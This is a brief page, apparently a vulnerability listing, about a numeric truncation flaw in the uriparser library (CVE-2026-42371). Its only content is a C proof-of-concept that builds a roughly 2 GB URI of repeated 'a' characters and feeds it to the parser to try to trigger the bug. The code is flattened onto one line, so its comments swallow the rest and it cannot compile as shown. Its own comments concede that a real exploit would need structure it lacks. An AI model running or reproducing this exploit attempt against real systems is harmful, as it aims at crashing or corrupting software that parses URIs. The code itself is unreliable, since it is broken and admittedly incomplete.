CVE-2026-42371 uriparser数值截断漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <uriparser/Uri.h> // PoC for CVE-2026-42371: Numeric truncation in text range comparison // This code attempts to trigger the bug by allocating a huge URI. int main() { // Define a size close to 2GB to potentially trigger truncation on 32-bit comparisons size_t huge_len = 2147483647; // Allocate memory for the malicious URI char *large_uri = (char *)malloc(huge_len + 10); if (!large_uri) { printf("Memory allocation failed.\n"); return 1; } // Fill the buffer to simulate a long URI memset(large_uri, 'a', huge_len); // Ensure there is a valid scheme structure at the beginning or end depending on parser logic // Here we just append a null terminator for safety, though real exploit needs specific structure large_uri[huge_len] = '\0'; printf("Attempting to parse a URI of length: %zu\n", huge_len); UriUriA uri; const char *errorPos; // The parsing function may encounter the numeric truncation here int result = uriParseSingleUriA(&uri, large_uri, &errorPos); if (result != URI_SUCCESS) { printf("Parsing failed or triggered the bug at position: %ld\n", errorPos - large_uri); } else { printf("Parsing succeeded (vulnerability not triggered or patched).\n"); uriFreeUriMembersA(&uri); } free(large_uri); return 0; }